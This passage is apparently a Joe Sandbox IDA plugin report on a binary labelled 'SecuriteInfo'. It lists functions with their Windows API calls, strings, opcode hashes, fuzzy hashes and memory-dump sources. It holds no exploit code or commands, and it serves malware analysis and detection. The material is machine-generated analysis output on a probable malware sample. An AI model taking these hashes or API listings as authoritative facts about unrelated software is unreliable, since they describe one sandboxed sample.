                                      • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                      • API String ID: 4194297153-14809454
                                      • Opcode ID: c1c91551b914f82aca922bfc66112762cc82409099384547c6fc6209427b9ee0
                                      • Instruction ID: d1d0b7942c6b868262dd535faba5281826478c70e5d13f8f58f08a2122e0d02c
                                      • Opcode Fuzzy Hash: c1c91551b914f82aca922bfc66112762cc82409099384547c6fc6209427b9ee0
                                      • Instruction Fuzzy Hash: 6531AA35A04614DFCB20DF68D888AAABBB8EF05344F158069E405CB3A6D7B1ED46CB91
                                      Function 00943B79 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateMenu.USER32 ref: 00943BAC
                                      • SetMenu.USER32(?,00000000), ref: 00943BBB
                                      • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00943C43
                                      • IsMenu.USER32(?), ref: 00943C57
                                      • CreatePopupMenu.USER32 ref: 00943C61
                                      • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00943C8E
                                      • DrawMenuBar.USER32 ref: 00943C96
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Menu$CreateItem$DrawInfoInsertPopup
                                      • String ID: 0$F
                                      • API String ID: 161812096-3044882817
                                      • Opcode ID: 68d36444f0f2328379b7f477bd02a7bb00f5510c20b23ca86c115123d5ee39c2
                                      • Instruction ID: 7a82d293dd09a920c71f1da67dd5114bf8cb51bc57bb54f6cf4cd585f64561e6
                                      • Opcode Fuzzy Hash: 68d36444f0f2328379b7f477bd02a7bb00f5510c20b23ca86c115123d5ee39c2
                                      • Instruction Fuzzy Hash: 2141A7B8A26209AFEB24DF64D884FAA7BB9FF49311F044028FD45A7350D730AA10DF50
                                      Function 00943956 Relevance: 15.2, APIs: 10, Instructions: 182windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 009439D0
                                      • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 009439D3
                                      • GetWindowLongW.USER32(?,000000F0), ref: 009439FA
                                      • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00943A1D
                                      • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00943A95
                                      • SendMessageW.USER32(?,00001074,00000000,00000007), ref: 00943ADF
                                      • SendMessageW.USER32(?,00001057,00000000,00000000), ref: 00943AFA
                                      • SendMessageW.USER32(?,0000101D,00001004,00000000), ref: 00943B15
                                      • SendMessageW.USER32(?,0000101E,00001004,00000000), ref: 00943B29
                                      • SendMessageW.USER32(?,00001008,00000000,00000007), ref: 00943B46
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: MessageSend$LongWindow
                                      • String ID:
                                      • API String ID: 312131281-0
                                      • Opcode ID: 4c261ecfe291ae620eda9e5a46620ad4012ba3b74e571bb487c94d7fdd7f8d26
                                      • Instruction ID: ce58b181a935cdf59972a08bba73af186613681ba0cbd7dcdac0d1159f07bc47
                                      • Opcode Fuzzy Hash: 4c261ecfe291ae620eda9e5a46620ad4012ba3b74e571bb487c94d7fdd7f8d26
                                      • Instruction Fuzzy Hash: 1F615875900248AFDB20DFA8CC81EFEB7B8EB49714F10415AFA15E73A1C775AA41DB50
                                      Function 0091B04D Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentThreadId.KERNEL32 ref: 0091B06F
                                      • GetForegroundWindow.USER32(00000000,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B083
                                      • GetWindowThreadProcessId.USER32(00000000), ref: 0091B08A
                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B099
                                      • GetWindowThreadProcessId.USER32(?,00000000), ref: 0091B0AB
                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B0C4
                                      • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B0D6
                                      • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B11B
                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B130
                                      • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,0091A0FF,?,00000001), ref: 0091B13B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                      • String ID:
                                      • API String ID: 2156557900-0
                                      • Opcode ID: 12b3df873519a08ebabf21cf0842124659664cce1a2087b64e2084aa9c005b0c
                                      • Instruction ID: 71a3736d53ee9f22912dab3d336813193571cb0a727863e9043762f945e85d51
                                      • Opcode Fuzzy Hash: 12b3df873519a08ebabf21cf0842124659664cce1a2087b64e2084aa9c005b0c
                                      • Instruction Fuzzy Hash: 6731D5B6729209BFDB149F64DC54FE977BEEB05361F128008FA01D62A0DB749C80EB60
                                      Function 008E2C10 Relevance: 15.1, APIs: 10, Instructions: 54COMMON
                                      Download Yara Rule
                                      APIs
                                      • _free.LIBCMT ref: 008E2C24
                                        • Part of subcall function 008E2958: RtlFreeHeap.NTDLL(00000000,00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000), ref: 008E296E
                                        • Part of subcall function 008E2958: GetLastError.KERNEL32(00000000,?,008ED771,00000000,00000000,00000000,00000000,?,008ED798,00000000,00000007,00000000,?,008EDB95,00000000,00000000), ref: 008E2980
                                      • _free.LIBCMT ref: 008E2C30
                                      • _free.LIBCMT ref: 008E2C3B
                                      • _free.LIBCMT ref: 008E2C46
                                      • _free.LIBCMT ref: 008E2C51
                                      • _free.LIBCMT ref: 008E2C5C
                                      • _free.LIBCMT ref: 008E2C67
                                      • _free.LIBCMT ref: 008E2C72
                                      • _free.LIBCMT ref: 008E2C7D
                                      • _free.LIBCMT ref: 008E2C8B
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _free$ErrorFreeHeapLast
                                      • String ID:
                                      • API String ID: 776569668-0
                                      • Opcode ID: b4ef1d776cbf85b6b93ad3fa63226f61608957715118eb9b17b614f1f2c995d6
                                      • Instruction ID: df69381729b5dd4836543b34c092efb30eb5a9c9bce7e1191ab5fbd452fe98c2
                                      • Opcode Fuzzy Hash: b4ef1d776cbf85b6b93ad3fa63226f61608957715118eb9b17b614f1f2c995d6
                                      • Instruction Fuzzy Hash: 2311077624018DBFCB01FF5ED842CDC3FA9FF06350F4050A0BA589B222DA35DA919B51
                                      Function 008B2D1B Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 332comCOMMON
                                      Download Yara Rule
                                      APIs
                                      • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 008B2D64
                                      • OleUninitialize.OLE32(?,00000000), ref: 008B2E03
                                      • UnregisterHotKey.USER32(?), ref: 008B2FE8
                                      • DestroyWindow.USER32(?), ref: 008F3045
                                      • FreeLibrary.KERNEL32(?), ref: 008F30AA
                                      • VirtualFree.KERNEL32(?,00000000,00008000), ref: 008F30D7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                      • String ID: close all
                                      • API String ID: 469580280-3243417748
                                      • Opcode ID: af2e5b836fb5e2ecce05b8d15ffbfb204ea12e25a40c4697ccc6d5ce69cc88c0
                                      • Instruction ID: 7f18b50318d0b0e9e8c1673674f85dac8ef2f26b2fb97d55480acc22aa96f62c
                                      • Opcode Fuzzy Hash: af2e5b836fb5e2ecce05b8d15ffbfb204ea12e25a40c4697ccc6d5ce69cc88c0
                                      • Instruction Fuzzy Hash: 80D14A31602216DFDB25EF29C495B69F7A4FF05700F1481ADEA0AAB352DB31AE52CF41
                                      Function 008B758A Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 184windowCOMMON
                                      Download Yara Rule
                                      APIs
                                      • SetWindowLongW.USER32(?,000000EB), ref: 008B761A
                                        • Part of subcall function 008B76AA: GetClientRect.USER32(?,?), ref: 008B76D0
                                        • Part of subcall function 008B76AA: GetWindowRect.USER32(?,?), ref: 008B7711
                                        • Part of subcall function 008B76AA: ScreenToClient.USER32(?,?), ref: 008B7739
                                      • GetDC.USER32 ref: 008F52A2
                                      • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 008F52B5
                                      • SelectObject.GDI32(00000000,00000000), ref: 008F52C3
                                      • SelectObject.GDI32(00000000,00000000), ref: 008F52D8
                                      • ReleaseDC.USER32(?,00000000), ref: 008F52E0
                                      • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 008F5371
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                      • String ID: U
                                      • API String ID: 4009187628-3372436214
                                      • Opcode ID: ac35c82cf230ed75862202173ca77a0be477a21e81bcf3703f6f216637d77c02
                                      • Instruction ID: 0a67c731f7cd3286bb53d9cdfa176284cf4c14616037fdaeb2cdf33c3669fafe
                                      • Opcode Fuzzy Hash: ac35c82cf230ed75862202173ca77a0be477a21e81bcf3703f6f216637d77c02
                                      • Instruction Fuzzy Hash: 9F71CC3050460DDFCF218F78C885AFA7BB5FF4A364F184269EB559A3A6D7318841DB60
                                      Function 00914419 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 160COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 176396367-1994484594
                                      • Opcode ID: 017510d710777fa9b984ffcdcab60a94c30632cfb9f4fed2d482e44628046100
                                      • Instruction ID: 8ce43977d78d2a2b428defbbe98d89c5077edd43dbc2caaacd3e395bbef51371
                                      • Opcode Fuzzy Hash: 017510d710777fa9b984ffcdcab60a94c30632cfb9f4fed2d482e44628046100
                                      • Instruction Fuzzy Hash: D6512732B003168BCB24CE69CA805FA73D9FB9D714B604A2DE495D7680EB30DD8AC791
                                      Function 0091469F Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 158COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00913F58: CharUpperBuffW.USER32(?,?,00000000,0094D0D0,?,?,00000001,?,?,00914286,?,?,?,?,00000000,0094D0D0), ref: 00913FE5
                                      • _wcslen.LIBCMT ref: 00914296
                                      • _wcslen.LIBCMT ref: 009142F0
                                      • _wcslen.LIBCMT ref: 00914337
                                      • _wcslen.LIBCMT ref: 0091437B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharUpper
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 1256254125-1994484594
                                      • Opcode ID: e4ca21609955bbaf6db16776817df83ee331a0b1d14c2956e2ac64b35a7bd3fb
                                      • Instruction ID: 1b6b71ea448a929f1d9cd79d5e593e14c100bdb7577dee2c35c39ee50069ad40
                                      • Opcode Fuzzy Hash: e4ca21609955bbaf6db16776817df83ee331a0b1d14c2956e2ac64b35a7bd3fb
                                      • Instruction Fuzzy Hash: 8E411332B043168B8B10CE6DC9804FB73E9FB99714B604A3DE495D7680EB20DD8AC791
                                      Function 0091448E Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 155COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 176396367-1994484594
                                      • Opcode ID: 7246fb9228c4448f9a4bb920d65216676de4bad723aa342fdb4d4324da2f74fb
                                      • Instruction ID: d65b37339cdab43ad4c0fabb70c90820899b15942eaf2f6a1341f01581810eff
                                      • Opcode Fuzzy Hash: 7246fb9228c4448f9a4bb920d65216676de4bad723aa342fdb4d4324da2f74fb
                                      • Instruction Fuzzy Hash: 68412732B003168B8B248E69CAC05BA77D9FB9D714B604639E4A6D7680EB20DD86C791
                                      Function 008EAF28 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 154COMMONLIBRARYCODE
                                      Download Yara Rule
                                      APIs
                                      • RtlDecodePointer.NTDLL(?), ref: 008EAF4B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: DecodePointer
                                      • String ID: acos$asin$exp$log$log10$pow$sqrt
                                      • API String ID: 3527080286-3064271455
                                      • Opcode ID: bedf17e958a579aba913bdb72a6ed198d1f94afafb9d8236ab9bfc5441fe05cb
                                      • Instruction ID: 1cfa6ce71ec1c020d96955975bfc503c494b378de65bc6fc16a07c3c4460670f
                                      • Opcode Fuzzy Hash: bedf17e958a579aba913bdb72a6ed198d1f94afafb9d8236ab9bfc5441fe05cb
                                      • Instruction Fuzzy Hash: AA518DB190464ECBCF14DFAAE9485AEBBF4FF0B314F210195E891E7254CB31AD289B15
                                      Function 00914671 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 152COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 008B3536: _wcslen.LIBCMT ref: 008B3541
                                        • Part of subcall function 00913F58: CharUpperBuffW.USER32(?,?,00000000,0094D0D0,?,?,00000001,?,?,00914286,?,?,?,?,00000000,0094D0D0), ref: 00913FE5
                                      • _wcslen.LIBCMT ref: 00914296
                                      • _wcslen.LIBCMT ref: 009142F0
                                      • _wcslen.LIBCMT ref: 00914337
                                      • _wcslen.LIBCMT ref: 0091437B
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen$BuffCharUpper
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 1256254125-1994484594
                                      • Opcode ID: 05b8190c25980e2e03bfde431bb8cb5157dd4b4d09c1adb1f7a496a587790848
                                      • Instruction ID: 737d30d4704c5a9ef0316c9a331e307068f437bd90c06ad90968216629d3cf57
                                      • Opcode Fuzzy Hash: 05b8190c25980e2e03bfde431bb8cb5157dd4b4d09c1adb1f7a496a587790848
                                      • Instruction Fuzzy Hash: 0D413532B003168B8B20CE6DCA804FA73E9FF9D714B60463DE495D7680EB60DD86C791
                                      Function 009234BA Relevance: 14.2, APIs: 3, Strings: 5, Instructions: 150COMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadStringW.USER32(00000066,?,00000FFF,?), ref: 00923502
                                        • Part of subcall function 008BB606: _wcslen.LIBCMT ref: 008BB610
                                      • LoadStringW.USER32(?,?,00000FFF,?), ref: 00923528
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: LoadString$_wcslen
                                      • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                      • API String ID: 4099089115-2391861430
                                      • Opcode ID: c373a7c873ccede0df0f592d0a7dc334d8e7acdfb76eca7ac6a2b277f3f6d160
                                      • Instruction ID: 6746f442c467d9d13b2d3c422f1e00b15f1bff508f8e3c6d6c4338d330b7c6aa
                                      • Opcode Fuzzy Hash: c373a7c873ccede0df0f592d0a7dc334d8e7acdfb76eca7ac6a2b277f3f6d160
                                      • Instruction Fuzzy Hash: 82519E32800219ABCF14EBE4DC82EEEBB38FF14304F044125F505B22A1EB746A99DF51
                                      Function 009146DC Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 148COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.1740772286.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true
                                      • Associated: 00000000.00000002.1740732061.00000000008B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.0000000000972000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000097C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740772286.00000000009EE000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1740977152.00000000009F4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.1741011992.00000000009F5000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_8b0000_SecuriteInfo.jbxd
                                      Similarity
                                      • API ID: _wcslen
                                      • String ID: ACTIVE$HANDLE$LAST$REGEXPTITLE
                                      • API String ID: 176396367-1994484594
                                      • Opcode ID: ecba325752bc4742deff27b20187de668094c6ba9b71c1eb303fe5ab790028aa
                                      • Instruction ID: 62b81257cddf97b095723c23d93c232e2e034c4989922ad36641f4bff0bbdba3
                                      • Opcode Fuzzy Hash: ecba325752bc4742deff27b20187de668094c6ba9b71c1eb303fe5ab790028aa
                                      • Instruction Fuzzy Hash: 11412532B043268B8B20CE79CA805BB73D9FB9D714B64453DE491D7684FB20DD86C791
                                      Function 00914646 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 136COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00913F58: CharUpperBuffW.USER32(?,?,00000000,0094D0D0,?,?,00000001,?,?,00914286,?,?,?,?,00000000,0094D0D0), ref: 00913FE5
                                      • _wcslen.LIBCMT ref: 00914296
                                      • _wcslen.LIBCMT ref: 009142F0
                                      • _wcslen.LIBCMT ref: 00914337
